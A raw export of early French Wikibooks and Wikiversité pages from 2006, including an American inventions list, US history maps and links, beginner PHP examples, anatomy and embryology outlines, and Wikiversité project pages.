: esquimo glacé, Nelson Onawa, Iowa *1922 : ski nautique, Ralph Samuelson *1922 : autoradio, George Frost *1924 : Kleenex, société Kimberly-Clark, Wisconsin *1925 : microphone, Joseph Maxfield *1928 : petit pot pour bébé, Dan Gerber *1928 : rasoir électrique, Jacob Schick *1933 : premier avion de ligne, le Boeing 247 transporte 10 passagers à bord d'un monoplan pour United Airlines *1938 : bas nylon, Dupont De Nemours *1945 : four à micro-ondes, Percy Spencer *1945 : Tupperware, Carl W. Tupper *1947 : transistor, ingénieurs du laboratoire Bell *1948 : deltaplane inventé par Francis Melvin Rogallo *1951 : magnétoscope, société Mincom *1959 : circuit intégré, Jack St Clair *1962 : satellite de communication, Telstar, NASA *1965 : Aspartam, laboratoires de Seattle *1967 : Dolby, Ray Dolby *1968 : planche à voile, Jim Drake-Schweitzer *1970 : microprocesseur, Gilbert Hyatt *1985 : écran tactile, Zénith Histoire des États-Unis d'Amérique:Cartes 7088 33614 2006-02-20T08:25:03Z Urban 886 {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} Les cartes qui suivent sont extraites de Wikicommons. Pour les licences et les droits, se reporter à la page de description de chaque document. [[Image:Map of USA showing state names.png|thumb|center|350px|Les états aujourd'hui]] [[Image:Coronado Expedition 1540 to 1542.jpg|thumb|center|350px|L'expédition de Coronado au XVIe siècle]] [[Image:The United States 1783 to 1803.jpg|thumb|center|350px|Les États-Unis en 1783]] [[Image:LouisianaPurchase.png|thumb|center|350px|en vert, la Louisiane Française, vendue aux Américains par Napoléon Bonaparte en 1803]] Histoire des États-Unis d'Amérique:Liens 7089 33266 2006-02-18T10:13:30Z Urban 886 {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} =Liens en français= *[http://www.collegeahuntsic.qc.ca/Pagesdept/Hist_geo/Liens/lien4.html L'Histoire des Etats-Unis] *Déclaration d'Indépendance [http://agora.qc.ca/reftext.nsf/Documents/Etats-Unis--La_Declaration_dindependance L'encyclopédie de l'Agora] *La guerre de Sécession [http://agora.qc.ca/mot.nsf/Dossiers/Guerre_de_secession L'encyclopédie de l'Agora] =Liens en anglais= *[http://vlib.iue.it/history/USA WWW-VL: Histoire: États-Unis d'Amérique] *[[http://www.loc.gov/wiseguide/index-flash.html Site généraliste sur l'histoire américaine]] *[http://www.ushistory.org/index.html us history.org] {{Portail États-Unis}} Histoire des États-Unis d'Amérique:Biographies 7091 33290 2006-02-18T16:28:15Z Urban 886 {{EnTravaux}} =A= =B= =C= =D= =E= =F= =G= =H= =I= =J= =K= =L= =M= =N= =O= =P= =Q= =R= =S= =T= =U= =V= =W= =X= =Y= =Z= Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils 7094 33338 2006-02-18T23:06:39Z Jean-Jacques MILAN 114 [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils]] déplacé vers [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils argentiques]]: dédoublement #REDIRECT [[Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils argentiques]] Photographie - Chapitre 40 - Fabricants de matériels/Questionnaires/Appareils numériques 7095 34212 2006-02-23T13:12:23Z Jean-Jacques MILAN 114 {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Mémoire interne : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Zoom numérique : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Connexions : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} Wikiversité/Droit 7096 33675 2006-02-21T01:13:36Z Gregory.lussier 1165 {{Département de droit}} == Bienvenue == Bienvenue à la faculté de droit de la Wikiversité, c'est ici que vous trouverez tous les cours qui se rapportent au droit. L'objectif du département serait ultimement d'avoir un plan de cours qui permettrait à des étudiants de le suivre et de développer des habiletés et connaissances en droit. Pour le moment, il y a un seul programme donné et il est encore incomplet. Il faudrait que d'autres gens participent au projet pour créer un programme un peu plus complet. ==Actualité== *Création de la faculté de droit sur Wikiversité (FR) --[[Utilisateur:Gregory.lussier|Gregory.lussier]] 21 février 2006 à 01:12 (UTC) Modèle:Département Droit 7098 33364 2006-02-19T05:38:47Z Gregory.lussier 1165 {| style="border:2px black solid;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#F2F2F2;" | '''[[Wikiversité/Droit|Département droit]]''' |- | style="text-align:center;background:white;" | [[Image:Droitdept.png|150px|center|Département de droit]] |- | bgcolor="white" | *<small>[[Wikiversité/Droit|Accueil]]</small> *<small>[[Droit/Cours|Cours]]</small> *<small>[[Droit/WikiProfs|WikiProfs]]</small> *<small>[[Droit/WikiEleves|WikiÉlèves]]</small> *<small>[[Droit/Plan|Plan]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:D%C3%A9partement_Droit&action=edit | Modifier ce modèle]</small> |} Droit/Cours 7099 33376 2006-02-19T05:50:32Z Gregory.lussier 1165 {{Département Droit}} Voici les cours disponibles pour l'instant: *Droit au Canada **[[droit/administration canada level1|Cours de droit administratif canadien de niveau 1]]{{00}} Droit/WikiProfs 7101 33372 2006-02-19T05:45:38Z Gregory.lussier 1165 {{Département Droit}} Voici les WikiProfs du département de droit ainsi qu'une légère description de leurs connaissances spécifiques (inscrivez votre nom si vous souhaitez participer): Grégory A. Lussier, droit administratif Droit/WikiEleves 7102 33374 2006-02-19T05:46:39Z Gregory.lussier 1165 {{Département Droit}} Élèves du département de droit: Droit/administration canada level1 7103 33380 2006-02-19T06:04:47Z Gregory.lussier 1165 =Introduction= Ce cours vous permettra d'approfondir vos connaissances générales en comprenant l'administration publique canadienne. Il demande un travail dosable en environ 2h par semaine durant quelques semaines. Il est en construction mais devrait aboutir en une version finale d'ici peu si il y a d'autres collaborateurs qui se joignent au projet. ==Fixer ses objectifs== * Si vous souhaitez avoir des examens, référez-vous aux [[Droit/WikiProfs|Wikiprofs associés]] au cours dans lequel vous étudiez et inscrivez vous dans la [[Droit/WikiEleves|liste des étudiants]] de votre département. * Si vous souhaitez étudier à votre rythme et poser des questions aux WikiProfs concernés lorsque vous en avez, référez-vous à leur page de discussion. =Structure= * [[Droit/administration canada level1|Droit administratif du Canada, niveau 1]] ** Introduction à l'administration au Canada *** Introduction *** Sources du droit administratif *** Système judiciaire ** Fonctionnement et organisation interne de l'administration *** Structure *** Actes *** Fonctionnement ** Relation entre l'Administration et les citoyens *** Légalité de l'action administrative *** La responsabilité civile de l'Administration =Prérequis= Aucune connaissance n'est requise. =Matériel d'apprentissage= À venir... Département informatique/Soutiens 7105 44501 2006-06-13T22:34:01Z 81.52.163.3 /* Les étudiants */ {{Département Informatique}} ==Soutenez le département informatique== Si vous trouvez que l'idée d'un département informatique dans une université libre et gratuite est une idée intéressante et porteuse, apportez ici votre soutien moral au département informatique. Merci ! === Les particuliers=== * Patrice :Bouyrat ''(Chômeur, sans formation et à la recherche d'une formation. Enfin une solution d'études par correspondace gratuite? C'est moi, donc, qui vous remercie pour votre soutien.)'' * [[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] *Julien. Je découvre et l'idée me plaît. Comme vous, je ne sais pas où cela va aller mais je vous souhaite bon courage. Je suis enseignant (en arts) pour le moment, et l'idée de poursuivre une formation (en ligne) et/ou peut-être d'en donner une gratuitement me plaît beaucoup. je suivrai ce projet avec beaucoup d'intérêt. * [[Utilisateur:Epopoi27|Epopoi27]] Certainement des contributions à apporter et une envie d'approfondir sur un projet ... à définir * CH Majdi ''(informaticien, DUT informatique industrielle bac +2. c vraiment inespéré de voir une telle université avoir lieu... tous mes espoirs que ça dure et que la liste des formations augmente et que les certifs soient agréés.tous mes souhaits de succés et longue vie à wiki***.)'' === Les étudiants=== *Grégory A. Lussier <small>([[utilisateur:Gregory.lussier|Page personnelle]])<small> *Youssef Oualmakran, étudiant en 2e ingénieur industriel électricité. * [[Utilisateur:86.221.11.250|86.221.11.250]], qui trouve l'idée tout simplement géniale. *Brakeche Ali Cherif, étudiant en 2e ingénieur. Le concept est vraiment fantastique. === Les enseignants=== * Xavier Merrheim * [[Utilisateur:Daxuza|Daxuza]] === Les professionnels de l'informatique=== *[[Utilisateur:Epommate|Epommate]] 23 février 2006 à 17:31 (UTC) *[[n:Utilisateur:Divol|Jacques Divol]] 10 mars 2006 *[[n:Utilisateur:DMP|Damien Maury Pinçon]] 28 mars 2006 *Pierre Thierry, travailleur libéral (je trouve que la Wikiversité encore plus que d'autres parties de Wikimedia pose le problème de la vérification des contenus ; il est grand temps de pouvoir savoir quelles révisions ont été relues et approuvées par qui) **remarque très pertinente. Dans un premier temps on essaye de récupérer des cours car on en n'a pas encore suffisamment mais dans un deuxième temps la phase de validation par un "expert" sera indispensable. [[Utilisateur:Merrheim|Merrheim]] 12 avril 2006 à 05:03 (UTC) *[[Utilisateur:Traroth|Alexis Dufrenoy]], chef de projet informatique. J'ai lancé l'étagère programmation en 2004 et je n'ai plus eu le temps de m'en occuper. Que de chemin parcouru ! Je vais m'y remettre. Le projet Wikiversity est encore plus enthousiasmant. [[Utilisateur:Traroth|Traroth]] 15 mai 2006 à 00:09 (CEST) === Les organismes officiels=== === Les associations professionnelles ou étudiantes=== Programmation PHP/Exemples/Premier programme 7106 43361 2006-05-29T04:41:55Z Gromitt 1388 style, mise en majuscules de "PHP" {{Programmation PHP}} == Un premier programme en PHP== ===Le programme=== <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Mon premier script PHP !</title> </head> <body> <?php echo 'Bonjour tout le monde'; ?> </body> </html> </pre> ===Présentation des premiers concepts=== * Un programme en PHP est en général inséré à l'intérieur d'un code écrit en HTML. Le programme débute par la balise <?php et se termine par la base ?>. L'utilisation de <? code PHP ?> est aussi correcte, mais déconseillée, car elle n'est plus supportée par défaut dans les versions de PHP les plus récentes. Pour que le code en PHP soit exécuté, il faut : * que la page porte une extension particulière par exemple '''.php''' : la page pourra donc s'appeler par exemple '''index.php'''. * que le serveur soit configuré pour supporter PHP. La plupart des hébergeurs propose en standard des plateformes PHP. * Ce premier programme comporte la commande '''echo''' qui permet d'afficher une chaîne de caractères écrite entre quotes (""). Ici, le programme affiche le message '''Bonjour tout le monde'''. * Le programme sera exécuté '''sur le serveur''', et affichera le résultat de son exécution. Ainsi, le navigateur recevra une page HTML avec le contenu suivant : <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Mon premier script PHP !</title> </head> <body> Bonjour tout le monde </body> </html> </pre> Programmation PHP/Exemples/Variables 7107 40370 2006-04-16T09:45:00Z Gromitt 1388 /* Utilisation de variables */ {{Programmation PHP}} ==Utilisation de variables== === Un exemple de programme=== <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Variables en PHP !</title> </head> <body> <?php for($i = 1; $i <= 10; $i++) echo '<p>Ligne numéro '.$i.'</p>'."\n"; ?> </body> </html> </pre> === Explications=== *Une variable en php commence par le symbole $. Ici nous utilisons une variable d'identificateur $i. *Il n'y a pas de déclaration ni de typage fixe : une variable peut changer dynamiquement de type, ce qui est parfois vu comme un atout, parfois comme une faiblesse ! * Ce programme comporte une boucle for qui a sa sémantique habituelle. La variable $i va donc prendre successivement les valeurs 1,2,... jusqu'à 10. * Dans cet exemple les chaînes de caractères sont entre cotes. * La concaténation des chaînes de caractères s'effectue grâce à l'opérateur '''.'''. * '''Remarque : ''' si on veut qu'une chaîne de caractères contienne une cote il faut écrire \' à l'intérieur de la chaîne. * On s'aperçoit également que la commande echo doit générer sur sa sortie du HTML. Celui-ci sera interprété par le navigateur. ===Exécution du programme=== <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Variables en php</title> </head> <body> <p>Ligne numéro 1</p> <p>Ligne numéro 2</p> <p>Ligne numéro 3</p> <p>Ligne numéro 4</p> <p>Ligne numéro 5</p> <p>Ligne numéro 6</p> <p>Ligne numéro 7</p> <p>Ligne numéro 8</p> <p>Ligne numéro 9</p> <p>Ligne numéro 10</p> </body> </html> </pre> ===Les guillemets=== Une chaîne de caractère entre guillemet est assez particulière : si elle contient $a alors $a est remplacé par la valeur de la variable $a. Il y a automatiquement substitution. Si on écrit \$ alors il n'y a plus substitution. De la même manière, pour afficher le caractère guillemet on écrit \". === Exemple 2 : guillemets et variables === <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Variables en PHP !</title> </head> <body> <?php $a=67+33; echo "la variable \$a vaut $a"; ?> </body> </html> </pre> === Explications === Dans ce programme la variable $a vaut 67+33 donc vaut 100. Dans la chaîne de caractères \$a affichera $a et le deuxième $a sera remplacé par la valeur $100. Il s'affichera donc :<br/> ''la variable $a vaut 100'' Anatomie 7109 36045 2006-03-05T11:24:41Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ ==Généralités== # [[Histoire de l'anatomie|Histoire de l'anatomie]] # [[Subdivisions de l'anatomie|Subdivisions de l'anatomie]] # [[Vocabulaire anatomique|Vocabulaire anatomique]] # [[Eléments anatomiques|Eléments anatomiques]] ## Os ## Articulations ### Articulations fibreuses ### Articulations cartilagineuses ### Articulations synoviales ## Muscles ## Eléments d'angiologie ### Système artériel ### Système veineux ### Système lymphatique ## Eléments de neuroanatomie ### Système nerveux central ### Système nerveux périphérique : le système nerveux somatique (SNS) ### Système nerveux périphérique : le système nerveux autonome (SNA) ## Membranes ## Viscères ==Anatomie du crâne et de la face== # [[Ostéologie du crâne et de la face|Ostéologie]] # [[Arthrologie du crâne et de la face|Arthrologie]] # [[Myologie du crâne et de la face|Myologie]] # [[Angiologie du crâne et de la face|Angiologie]] # [[Neuroanatomie du crâne et de la face|Neuroanatomie]] # [[Anatomies topographique et de surface du crâne et de la face|Anatomies topographique et de surface]] ==Anatomie du rachis== # [[Ostéologie du rachis|Ostéologie]] ## Vertèbres cervicales ## Vertèbres thoraciques ## Vertèbres lombaires ## Sacrum ## Coccyx # [[Arthrologie du rachis|Arthrologie]] # [[Myologie du rachis|Myologie]] # [[Angiologie du rachis|Angiologie]] # [[Neuroanatomie du rachis|Neuroanatomie]] # [[Anatomies topographique et de surface du rachis|Anatomies topographique et de surface]] ==Anatomie du cou== # [[Ostéologie du cou|Ostéologie]] # [[Arthrologie du cou|Arthrologie]] # [[Myologie du cou|Myologie]] # [[Angiologie du cou|Angiologie]] # [[Neuroanatomie du cou|Neuroanatomie]] # [[Anatomies topographique et de surface du cou|Anatomies topographique et de surface]] # [[Viscères du cou|Viscères]] ==Anatomie du thorax== # [[Ostéologie du thorax|Ostéologie]] ## Sternum ## Arcs costaux # [[Arthrologie du thorax|Arthrologie]] # [[Myologie du thorax|Myologie]] # [[Angiologie du thorax|Angiologie]] # [[Neuroanatomie du thorax|Neuroanatomie]] # [[Anatomies topographique et de surface du thorax|Anatomies topographique et de surface]] # [[Viscères du thorax|Viscères]] ## Cœur ## Trachée ## Poumons ## Œsophage ==Anatomie de l'abdomen== # [[Ostéologie de l'abdomen|Ostéologie]] # [[Arthrologie de l'abdomen|Arthrologie]] # [[Myologie de l'abdomen|Myologie]] # [[Angiologie de l'abdomen|Angiologie]] # [[Neuroanatomie de l'abdomen|Neuroanatomie]] # [[Anatomies topographique et de surface de l'abdomen|Anatomies topographique et de surface]] # [[Viscères de l'abdomen|Viscères]] ==Anatomie du membre thoracique== # [[Ostéologie du membre thoracique|Ostéologie]] ## Clavicule ## Scapula ## Humérus ## Ulna ## Radius ## Carpes ## Métacarpes ## Phalanges # [[Arthrologie du membre thoracique|Arthrologie]] # [[Myologie du membre thoracique|Myologie]] # [[Angiologie du membre thoracique|Angiologie]] # [[Neuroanatomie du membre thoracique|Neuroanatomie]] # [[Anatomies topographique et de surface du membre thoracique|Anatomies topographique et de surface]] ## Fosse axillaire ## Bras ## Avant-bras ## Main ==Anatomie du membre pelvien== # [[Ostéologie du membre pelvien|Ostéologie]] ## Os coxal ## Fémur ## Patella ## Tibia ## Fibula ## Tarses ## Métatarses ## Phalanges # [[Arthrologie du membre pelvien|Arthrologie]] # [[Myologie du membre pelvien|Myologie]] # [[Angiologie du membre pelvien|Angiologie]] # [[Neuroanatomie du membre pelvien|Neuroanatomie]] # [[Anatomies topographique et de surface du membre pelvien|Anatomies topographique et de surface]] Eléments anatomiques 7110 39404 2006-04-01T13:03:18Z Greudin 1 restitution de la dernière modification de Psychotic [[Catégorie:Médecine]] __TOC__ Retour à [[Anatomie|Anatomie]]. ==Os== ==Articulations== ===Articulations fibreuses=== ===Articulations cartilagineuses=== ===Articulations synoviales=== ==Muscles== ==Eléments d'angiologie== ===Système artériel=== ===Système veineux=== ===Système lymphatique=== ==Eléments de neuroanatomie== ===Système nerveux central=== ===Système nerveux périphérique : le système nerveux somatique=== ===Système nerveux périphérique : le système nerveux autonome=== ==Membranes== ==Viscères== Ostéologie du rachis 7111 36030 2006-03-05T11:10:13Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ Retour à [[Anatomie|Anatomie]]. ==Vertèbres cervicales== ==Vertèbres thoraciques== ==Vertèbres lombaires== ==Sacrum== ==Coccyx== Ostéologie 7112 33462 2006-02-19T16:58:45Z Psychotic 1167 [[Ostéologie]] déplacé vers [[Ostéologie du rachis]] #REDIRECT [[Ostéologie du rachis]] Ostéologie du thorax 7113 36031 2006-03-05T11:10:33Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ Retour à [[Anatomie|Anatomie]]. ==Sternum== ==Arcs costaux== Viscères du thorax 7114 36032 2006-03-05T11:10:51Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ Retour à [[Anatomie|Anatomie]]. ==Cœur== ==Trachée== ==Poumons== ==Œsophage== Ostéologie du membre thoracique 7115 36033 2006-03-05T11:11:10Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ Retour à [[Anatomie|Anatomie]]. ==Clavicule== ==Scapula== ==Humérus== ==Ulna== ==Radius== ==Carpes== ==Métacarpes== ==Phalanges== Ostéologie du membre pelvien 7116 40785 2006-04-23T14:36:20Z Greudin 1 restitution de la dernière modification de Psychotic [[Catégorie:Médecine]] __TOC__ Retour à [[Anatomie|Anatomie]]. ==Os coxal== ==Fémur== ==Patella== ==Tibia== ==Fibula== ==Tarses== ==Métatarses== ==Phalanges== Histologie 7118 36046 2006-03-05T11:28:57Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ ==Généralités== ==Tissus conjonctifs== # [[Tissus conjonctifs|Tissus conjonctifs]] # [[Tissus circulants|Tissus circulants]] # [[Tissus cartilagineux|Tissus cartilagineux]] # [[Tissus osseux|Tissus osseux]] ==Tissus épithéliaux== # [[Tissus épithéliaux|Tissus épithéliaux]] # [[Tissus épithéliaux de revêtement|Tissus épithéliaux de revêtement]] # [[Tissus épithéliaux glandulaires|Tissus épithéliaux glandulaires]] ==Tissus musculaires== # [[Tissus musculaires|Tissus musculaires]] # [[Tissus musculaires striés|Tissus msculaires striés]] # [[Tissus musculaires lisses|Tissus musculaires lisses]] ==Tissus nerveux== # [[Tissus nerveux|Tissus nerveux]] # [[Tissus neuronaux|Tissus neuronaux]] # [[Tissus névrogliques|Tissus névrogliques]] ==Tissus particuliers== Embryologie 7120 35052 2006-02-27T18:00:34Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ ==Gamétogenèse== # [[Spermatogenèse|Spermatogenèse]] # [[Ovogenèse|Ovogenèse]] ==Fécondation== ==Première semaine : la segmentation== ==Deuxième semaine== # [[Evolution du bouton embryonnaire|Evolution du bouton embryonnaire]] # [[Evolution du trophoblaste|Evolution du trophoblaste]] : l'ovoimplantation ==Troisième semaine== # [[Gastrulation|Gastrulation]] # [[Mise en place des villosités choriales|Mise en place des villosités choriales]] ==Quatrième semaine== # [[Embryogenèse|Embryogenèse]] # [[Evolution des annexes embryonnaires|Evolution des annexes embryonnaires]] ==Fœtogenèse et évolution du fœtus au terme== Programmation Ruby Objets 7121 33512 2006-02-19T18:00:30Z 195.93.102.10 '''Programmer pour les objets''' rien dans cette section Modèle:Clr 7124 33547 2006-02-19T21:02:30Z Boly38 136 création <div style="clear:both;" /> Modèle:Wikispecies 7125 33552 2006-02-19T21:35:36Z Boly38 136 Import depuis WPédia {{Wikilien| image=Wikispecies-logo.png |texte='''[[Wikispecies:Accueil|Wikispecies]]''', le répertoire du vivant a une entrée pour : « '''[[Wikispecies:{{{1}}}|{{{2}}}]]''' ». |couleur_fond=f9f9f9 }} Modèle:Son 7126 33554 2006-02-19T21:36:47Z Boly38 136 corr lien WPédia {{Wikilien | image=Sound-icon.png| texte='''[[Media:{{{2}}}|{{{1}}}]]'''<br /><small>[[:Image:{{{2}}}|Page de description du fichier]] &nbsp;&nbsp;&nbsp;&nbsp; [[w:Aide:Écouter des sons ogg|Aidez-moi]]</small> |couleur_fond=f9f9f9 }} Wikiversité:Créer un nouveau département 7128 33567 2006-02-19T23:06:30Z Boly38 136 Import depuis [[:en:Wikiversity:Créer un nouveau département wikiversitaire]] (Auteur unique : [[:en:User:Tex]]) (à retravailler ensuite) Quelques conseils et étapes à suivre pour la création d'un département wikiversitaire : ==Créer un goupe de '''volontaires coordonnés'''== La coordination est fondamentale pour fonder un département solide aux objectifs bien définis. Il est donc nécessaire de :<br/> * maintenir une liste des volontaires et de communiquer régulièrement via : ** une page de discussion ** des courriers électroniques ** un chat IRC ou autre * '''consulter, corriger et compléter régulièrement''' les articles de [http://fr.wikipedia.org/wiki/Accueil Wikipédia] et des projets similaires, qui pourront servir comme fond documentaire pour le nouveau département wikiversitaire. * créer une bibliothèque de contenus pédagogiques pour le département wikiversitaire via le projet [http://wikibooks.org/wiki/Main_Page:Français Wikilivre], et rassembler des liens de sites internet externes. <br/> ==Aspect légal== * Consulter des collaborateurs qui connaissent la législation en vigueur <br/> ==Organisation interne== * Débattre de la structure et du contenu des cours pour assurer l'adéquation des thèmes ** Effectuer des tests pour évaluer l'étendue des connaissances acquises durant le cours * Résoudre les conflits <br/> ==Recherche== * Créer un portail où apparaissent les divers sujets de recherche que regroupe le département wikiversitaire * Faciliter la coordination des participants pour qu'ils puissent obtenir rapidement le matériel dont il pourraient avoir besoin * Publier les résultats des diverses recherches réalisées par les équipes du département à travers les projets wiki * Publier les résultats obtenus dans des revues scientifiques en rapport avec le sujet de l'étude * Développer des applications possibles des résultats obtenus <br/> ==Relations extérieures== * Créer une section pour organiser les contacts avec : ** les départements similaires d'autres universités ** les autres départements de la [http://wikibooks.org/wiki/Wikiversity:Français Wikiversité], tout spécialement pour la collaboration lors d'études interdépartementales. * Pour développer : ** la collaboration académique ** la collaboration dans des projets de recherche Tout ceci permettra d'améliorer le flux d'informations interdépartementales. <br/> ==Proposer la création d'un département== Indiquez ci-dessous la faculté à laquelle serait rattaché le nouveau département, le coordinateur de ce nouveau département et un lien vers une page regroupant les volontaires et les objectifs. Modèle:Wikiversité/Lumière sur 7129 33573 2006-02-19T23:21:18Z Boly38 136 [[Modèle:Wikiversité/Lumière sur]] déplacé vers [[Wikiversité/Lumière sur]]: ss section (moins "Modèle:") #REDIRECT [[Wikiversité/Lumière sur]] Modèle:Wikiversité/Nouvelles 7130 33576 2006-02-19T23:23:27Z Boly38 136 [[Modèle:Wikiversité/Nouvelles]] déplacé vers [[Wikiversité/Nouveautés]]: -"Modèle:" Nouvelles=>Nouveautés #REDIRECT [[Wikiversité/Nouveautés]] Modèle:Wikiversité/facultés 7131 33580 2006-02-19T23:26:13Z Boly38 136 [[Modèle:Wikiversité/facultés]] déplacé vers [[Wikiversité/Facultés]]: - "Modèle:" facultés => Facultés #REDIRECT [[Wikiversité/Facultés]] Wikiversité:Wikiversité 7132 35759 2006-03-04T08:37:46Z Greudin 1 /* Membres du projet */ +~~~ <small>< [[Wikiversité]]</small> =À propos de la Wikiversité= La '''Wikiversité''' est une communauté d'apprentissage (une université virtuelle) basée sur le principe du Wiki. Vous y trouverez des formations, et vous pouvez créer vous-même des formations. Vous pouvez vous inspirer de ces [[Wikiversité:Quelques idées à propos de la wikiversité|quelques idées à propos de la Wikiversité (à finir de traduire)]] pour obtenir les évolutions possibles de la wikiversité. Pour comprendre comment la wikiversité permet un apprentissage, veuillez vous reporter à {{en}} [[:en:Wikiversity:Learning|cette page]]. La Wikiversité reprend les différents concepts d'une université traditionnelle : * des [[Wikiversité/Facultés|facultés]], * des livres, * des cours, * des diplômes (non-officiels), * des liens avec la Recherche, * des liens avec les entreprises, * des liens avec les organismes officiels, * des liens avec les organisations estudiantines et professionnelles, * un comité d'évaluation et de déontogie neutre et indépendant (si cela est possible !) sera à terme indispensable si le projet réussit * ... __TOC__ ==Ajouter des facultés== Vous pouvez ajouter des départements ou facultés à la wikiversité : :[[Wikiversité:Créer un nouveau département]] ==Historique== ... ==Membres du projet== '' <nowiki>~~~</nowiki> - Pour quels thèmes - Pour contribuer / relire / participer sous quelle forme ? '' * [[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] - Tous les thèmes - Organiser les pages du projet, Relire, Structurer le contenu, Wikifier, Illustrer... *[[Utilisateur:Merrheim|Merrheim]] Pour développer et organiser le contenu du [[Wikiversité:Département informatique|département informatique]]. *[[Utilisateur:Greudin|Greudin]], ''pom pom boy'' du premier embryon d'université libre, ouverte et gratuite, wouhou [[Utilisateur:Greudin|Greudin]] 4 mars 2006 à 08:37 (UTC) ==Voir aussi== ===Liens internes=== * [[Wikiversité/Tâches à faire]] ===Liens Externes=== * {{en}} [[meta:Wikiversity|Meta Wikiversity]], administration, coordination inter-langues. * [[w:Wikipédia:Le_Bistro/3_mars_2006#Wikiversité|annonce d'Anthère]] sur le bistro de wikipédia le 3 mars 2006. [[it:Wikiversità]] [[pt:Wikiversidade]] [[ca:Wikiversità]] [[de:Wikiversity:Leitseite]] [[en:Wikiversity]] [[es:Wikiversidad/Prueba]] [[eo:Wikiversity/Esperanto]] <!--[[Wikiversity:&#54620;&#44397;&#50612;]]--> [[ie:Wikiversity:Interlingue - Occidental]] [[ia:Wikiversity:Interlingua]] [[ja:Wikiversity:メインページ]] [[nl:Wikiversity:Nederlands]] <!--[[Wikiversity:&#26085;&#26412;&#35486;]]--> [[ro:Wikiversity:Româna|Româna]] [[sr:Викиверзитет]] [[fi:Wikiversity:Suomi|Suomi]] [[vi:Wikiversity:Ti%E1%BA%BFng Vi%E1%BB%87t]] [[Catégorie:Wikiversité|*]] Wikiversité:Quelques idées à propos de la wikiversité 7133 44685 2006-06-16T16:59:28Z Phi-Gastrein 509 {{EnTravaux}} La [[Wikiversité]] correspond au projet de bâtir un environnement libre et gratuit d'apprentissage et une communauté pour la recherche. Des formations en lignes sont créées. La wikiversité a déjà commencé à être conçue et discutée, et vous pouvez aider à déterminer les frontières de ce projet. == L'objectif de la wikiversité == En dépit des contenus éducatifs énormes déjà présents sur des projets tels que [[w:Wikibooks|Wikilivres]] ou encore [[w:Wikipédia|Wikipédia]], les offres des écoles et universités restent hors du champs des projets wikimédia. Les projets de wikimédia, en les prenant dans leur ensemble, constituent une toute nouvelle forme de librairie. La wikiversité est le projet d'offrir du matériel ou des compétences supplémentaires pour créer une forme innovante d'école. Au travers des contenus tels que les livres ou les articles encyclopédique, il y a plusieurs façons pour la wikiversité d'entreprendre l'éducation de ses membres : * des projets et des activités, et leurs coordinations, pour ceux qui apprendront mieux en faisant certaines choses comme un travail appliqué, du design, des réalisations, des expérimentations, créer ou défendre des hypothèses, etc ; aussi bien que ceux-ci apprendront davantage en groupe. * des référents ou guides (de la part de professionnels ou institutions) à propos des compétences ou des savoirs requis et/ou adaptées au mieux à un métier particulier (ex. médecin, anthropologue, linguiste, etc) afin que les étudiants puissent établir avec plus de facilité un état d'avancement de leur maîtrise/connaissance, c'est-à-dire que ces derniers puissent suivre leur propre progrès. * proposer des programmes pédagogiques cohérents en concertation étroite avec les mondes universitaires et professionnels. La lecture d'une liste choisie de wikilivres choisis (dont la qualité du contenu et de la pédagogie serait ainsi reconnues) serait par exemple conseillée à un débutant. * un environnement social pour 